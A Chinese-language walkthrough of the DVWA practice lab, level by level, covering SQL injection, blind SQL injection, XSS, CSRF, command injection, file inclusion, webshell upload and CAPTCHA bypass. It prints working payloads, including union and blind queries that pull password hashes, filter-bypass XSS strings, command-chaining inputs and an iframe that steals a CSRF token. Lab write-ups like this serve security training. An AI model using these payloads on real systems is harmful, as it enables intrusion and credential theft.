暴力破解
low:
分析源码
判断这两个值是否都不为空
先输一个错误密码
构造admin' or '1'= '1
变成$ query = "SELECT * FROM ’users‘ WHERE user = ’admin' or '1'= '1’AND password = ' ';"
用or把语句截断为两部分,查询到账号即有效,语句判断为真,登陆成功
medium
mysqli_real_escape_string:
不能使用单引号,low的绕过失效
进行暴力破解:
抓包
添加字典
得到密码为password,登陆成功
high
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
首先随便输入一个密码,进行抓包
发送到Intruder
pitchfork:每一个变量标记对应一个字典
递归grep,要用这个必须在Intruder>options>Grep-extract下添加一个响应匹配,比如说我一个请求页需要前一个响应页中的内容,这里就可以这样使用了
设置线程数为1
点击token的值
爆破
登陆成功
impossible
限制了登陆的次数,当登陆失败超过三次,将会被锁定,等待15s
PDO提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型,可以用使用pdo连接mysql,可以解决sq注入
命令行注入
命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。
命令注入用到的一些命令以及连接符:
lpconfig查看本地网络
Net user查看系统用户
Dir查看当前目录
Find查找包含指定字符的行
Whoami查看系统当前有效用户名
A&B简单的拼接,AB之间无制约关系A&&BA执行成功才会执行B
A|BA的输出作为B的输入
A||BA执行失败,然后才会执行B
low:
php_uname — 返回运行 PHP 的系统的有关信息。
参数
mode 是单个字符,用于定义要返回什么信息:
‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
’s’:操作系统名称。例如: FreeBSD。
‘n’:主机名。例如: localhost.example.com。
‘r’:版本名称,例如: 5.1.2-RELEASE。
‘v’:版本信息。操作系统之间有很大的不同。
‘m’:机器类型。例如:i386。
乱码:
medium
str_ replace函数的作用是将输入的目标中存在黑名单子项的内容替换为空
过滤掉 &&和;
linux分隔符使用:
如果命令被分号;所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令
&&
如果命令被&&所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止。
ll
如果命令被双竖线所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止。
可以利用过滤;和&&绕过,将命令127.0.0.1&;&net user变为127.0.0.1& &net user
也可以用&,|,||
high
分析源代码,发现很多字符都被过滤掉了,但是|后面有个空格,所以|可以用
impossible
以 .
为 界限分成四部分,限定格式,所以只能输入IP,不存在漏洞
CSRF
跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。CSRF,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
low
1.输入两个不一样的密码
发现url中会显示修改和确认的密码
修改url后显示修改密码成功
在同一浏览器打开
显示密码修改
发现再次登录dvwa,密码为123456
medium
校验http_referer中是否有sever name,过滤掉low级别中短链接的方法
先抓包,可以看到referer字段
Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
再打开一个界面,输入http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
对这个页面抓包,添加上面的referer字段(值包含主机头127.0.0.1就可以)
forward之后提示修改成功
high
通过源代码分析:加入了Anti-CSRF token来防范CSRF攻击,同时每次随机生成了一个token,当用户提交的时候,在服务器端比对一下token值是否正确,不正确就丢弃掉,正确就验证通过。
可以通过xss漏洞获得token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
通过在同等级的xss中抓包修改以上代码,弹窗出token
有了token之后,将token值放置在URL连接后,进行跨站伪造
impossible
要求用户输入当前密码,无法进行csrf
文件包含
常见的导致文件包含的函数:
PHP:include()、include_once()、require()、require_once()等;
low
以get方式获取page传来的数据,赋值给file。对page没有做任何过滤
需要修改配置文件
在D盘新建一个txt文件
远程文件包含:
medium
查看源代码,发现http://,https://,../,..\\被替换为空,可以用双写绕过
双写绕过:hthttp://tp://
…/./
加绝对路径也可以绕过
high
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
使用fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
可以利用file协议
impossible
使用了白名单进行过滤,必须为“include.php”、“file1.php”、“file2.php”、“file3.php”,无法文件包含
文件上传
low
先看源码,对文件类型和内容没有任何过滤
成功上传1.php
连接蚁件
medium
分析源码,对文件的类型和大小做了限制
上传1.jpg
抓包修改文件的名字
连接蚁件
high
substr函数用法是从string的start位置开始提取字符串
即检查文件后缀为jpg,jpeg或者png
getimagesize — 取得图像大小
函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG
标记中的 height/width 文本字符串。
制作图片木马
或者
上传成功
连接蚁剑
impossible
对上传的文件进行了重新命名并且MD5加密
也有了Anti-CSRF token
的机制,校验了token值
Insecure CAPTCHA
low
首先用户访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
1.分析源码,验证码正确后step的值变为2,所以需要将step改为2
2.抓包,修改step2的值
3.放包后密码修改成功
medium
1.先进行抓包
2.结合源代码
应该将step改为2
同时把缺的值补全
3.
4.放包后密码修改成功
high
分析一下源代码,可以让g-recaptcha-response = hidd3n_valu3 & HTTP_USER_AGENT = reCAPTCHA
抓包修改一下即可
impossible
有 Token 机制,防止了csrf攻击,并且需要用户输入当前密码进行验证
sql注入:
注入思路:
1.判断是否存在注入,注入的类型是字符型、数字型还是搜索型
⒉.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询数据
low
传一个参数id,没有对id有过滤或者限制,存在sql注入漏洞
输入1' and 1=1
分析是单引号闭合
输入1' order by 3 #,判断字段数为2
确定显示的字段顺序
查库
1' union select 1,database()#
获取dvwa库下的表
1' union select 1,table_name from information_schema.tables where table_schema='dvwa
有两张表:guestbook和users
查询表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
有八个字段
查找数据
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password)from users#
密码经过了md5加密,可以进行解密
medium
无法输入语句,只能抓包
先判断是不是单引号闭合
字段数为2
报错,去掉单引号返回所有的用户,证明不是单引号闭合
查库1 union select 1,database()#
在查表的时候出现错误,查看一下源代码
mysqli_real_escape_string:
对于 SQL 语句中的特殊字符进行转义
所以语句中不能出现'
查表
查字段
用16进制绕过
查用户名和密码
high
与medium相比多加了一个limit1,限制只能输出一条,可以用#注释掉,只是在一个新的界面上输入low的语句
1' union select 1,database()#
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password)from users#
impossible
is_numeric() 函数用于检测变量是否为数字或数字字符串。
sql盲注
low
手工盲注的步骤:
1.到断是否存在注入,注入是字符型还是数字型
⒉猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
说明存在字符型注入,判断是布尔型盲注
首先需要猜解数据库的名的长度
1' and length(database())=1#
一直查到4,显示存在,说明数据库长度为4
然后用二分法猜解数据库名
1' and ascii(substr(database(),1,1))>97#
1' and ascii(substr(database(),1,1))<122#
1' and ascii(substr(database(),1,1))>109#
1' and ascii(substr(database(),1,1))>103#
重复几次操作得到第一个字符的ascii码值为100,查询后得到是d
1’ and ascii(substr(database(),3,1))=119 # 为w
1’ and ascii(substr(database(),4,1))=97 #为a
后面三个字符重复此方法依次为v,w,a
猜解数据库中的表的数量
1' and(select count(table_name) from information_schema.tables where table_schema=database())=1#
1' and(select count(table_name) from information_schema.tables where table_schema=database())=2#
说明有数据库中有两张表
然后猜解表名长度,再猜解每个字符
猜解长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1#
猜解到9
猜解表名
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’limit 0,1),1))>97 #(方法与猜解库名相同)
两个表为guestbook,users
猜解列数
1’ and (select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=8 #
猜每一列列名长度
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
第二列
算出八列
猜解列的名称
第一列第一个
1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))>97 #
第一列第二个
1’ and ascii(substr((select column_name from information_schema.columns
where table_name='users' and table_schema=database() limit 0,1),2))=115 #
第二列第一个
1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1))=102 #
与猜解库名方法相同
最后猜解用户名和密码
medium
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
需要抓包修改,步骤与low相同,不能用单引号,'dvwa'和'users'用十六进制代替
high
limit1限制只能输出一条,可以用#注释掉
注意这里不能用时间注入,因为有sleep函数
接下来的语句和操作与low相同
impossible
is_numeric($id)函数来判断输入的id是否是数字或者数字字符串
用PDO机制防止sql注入
Weak Session IDs
low
先看源码,初始的last session id= 0,每点一次generate,值就加一
先抓包
打开另一浏览器,找到cookie
在火狐浏览器,在登录界面用hackbar提交cookie,登录
medium
先看源码
可以得到dvwaSession,这是一个时间戳
知道用户的登陆时间,就可以成功登录账号
high
last_session_id_high的值默认为0 ,并且进行了md5加密作为cookie
经过解密
接下来的操作与low相同
impossible
cookie由随机整数,时间戳,固定的"Impossible"字符串经过sha1算法加密之后得到
xss
XSS 又叫Css (Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往web页面插入恶意的HTML代码。当用户浏览该页之时,嵌入当中Web里面的 html代码会被运行,从而达到恶意攻击用户的特殊目的。
XSS的分类(根据XSS脚本是否存储)
1.非持久型,也叫反射型XSS。通过GET和 POST方法,向服务器端输入数据。用户输入的数据通常被放置在 URL中,或者是 form 数据中。如果服务器端对输入的数据不进行过滤,验证或编码,就直接将用户输入的信息直接呈现给客户,则可能会造成反射型XSS
2.持久型,也叫存储型XSS。通常是因为服务器端将用户输入的恶意脚木没有通过验证就直接存储在数据库,并旦每次通过调用数据库的方式,将数据呈现在浏览器上。则该XSS 跨站脚本攻击将一直存在。若其他用户访问该页面,则恶意脚本就会被触发,用于盗取其他用户的私人信息。
攻击方式:向可输入框,插入恶意HTML代码或者恶意JavaScript代码
xss也可以分为三类:存储型和反射型、DOM类型
存储型xss:存储型xss,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种xss比较危险,容易造成蠕虫,盗窃cookie
反射型xsS:非持久化,需要欺骗用户自己去点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
DOM型xSS: DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型xss其实是一种特殊类型的反射型xss,它是基于DOM文档对象模型的一种漏洞。
XSS(DOM)
low
选不同的选项,url不同
直接修改url
alert()方法用于显示带有—条指定消息和一个OK按钮的警告框。
点击检查,查看源代码
.
发现DOM树被修改
medium
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
所以script标签被过滤掉了
换成其他标签
发现没有弹窗
检查后发现被写在了value里当作了字符,所以需要闭合标签
再次检查,闭合<select>标签
弹窗
此时的image是一条独立的语句
high
如果内容不是选择框中的,就返回English
可以用#注释
输入##<script>alert(/111/)</script>
impossible
内容被以URL方式编码了,但是没有进行解码,直接赋值给option。所以无法更改Dom树。
XSS(Reflected)
low
随便输入字母,下面都会有相应的显示
输入恶意代码<script>alert(/xss/)</script>
medium
查看源代码,将name以get方式传参,将name中的script标签替换为空,过滤掉script
str_replace区分大小写,可以采用大小写绕过
或者双写绕过<sc<script>ript>alert(/xss/)</script>
high
preg_replace 函数执行一个正则表达式的搜索和替换。
i 表示不区分大小写
过滤掉了script标签,大小写和双写也不能使用
<img src=1 οnerrοr=alert(/xss/)>
impossible
htmlspecialchars() :把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,语句不会执行
XSS(stored)
low
对name长度有限制
可以修改最大长度,然后右击在控制台中使用
在name和message中输入payload,弹窗
或者抓包修改name
medium
与反射型相同,过滤掉script,用双写绕过
抓包修改name
high
源代码绕过了script标签,所以可以对name用其他标签,抓包修改
name和message
弹窗
impossible
Name和Message使用了htmlspecialchars()函数进行过滤,无法进行xss攻击。
CSP Bypass
low
CSP: 内容安全策略 是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。主要是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻时,主要采用函数过滤转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。
self指可以访问的网址,只能允许这几个站点的脚本才可以运行
受信任的网站,这里是一个快速分享文本内容的网站,将js代码放置在该网站,然后注入url地址,成功触发js代码
在这个网站写入alert(1)
选择用raw方式显示
将url复制到输入框后弹窗
medium
查看源码
unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
nonce-source,仅允许特定的内联脚本块nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA”
所以输入下面的代码
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(123)</script>
弹窗
high
查看jsonp.php之后可以发现其中的callback通过get传参获得,没有过滤,我们可以进行注入
弹窗
impossible
执行JSONP调用,但不使用callback参数,解决了callback没有过滤的问题
JavaScipt
low
提示输入success
token不正确
查看页面源代码
发现token的值是md5(rot13(phrase))
通过控制台获得success的token值
抓包修改token值
medium
分析这个代码,可以发现token值为XX+phrase+XX倒过来得到的字符串
抓包可得
提示提交success,所以修改token值为 XXsseccusXX&phrase=success
high
看一下源代码,将js进行解密之后得到可以分析的代码
分析得到,token_part1调用了do something函数(颠倒),token1=sseccus
token_part 2得到的token2是sha256("XX"+token1)
token_part 3得到token3的值是sha256(token2+"ZZ")
在控制台中执行
抓包修改token值
impossible
没有源代码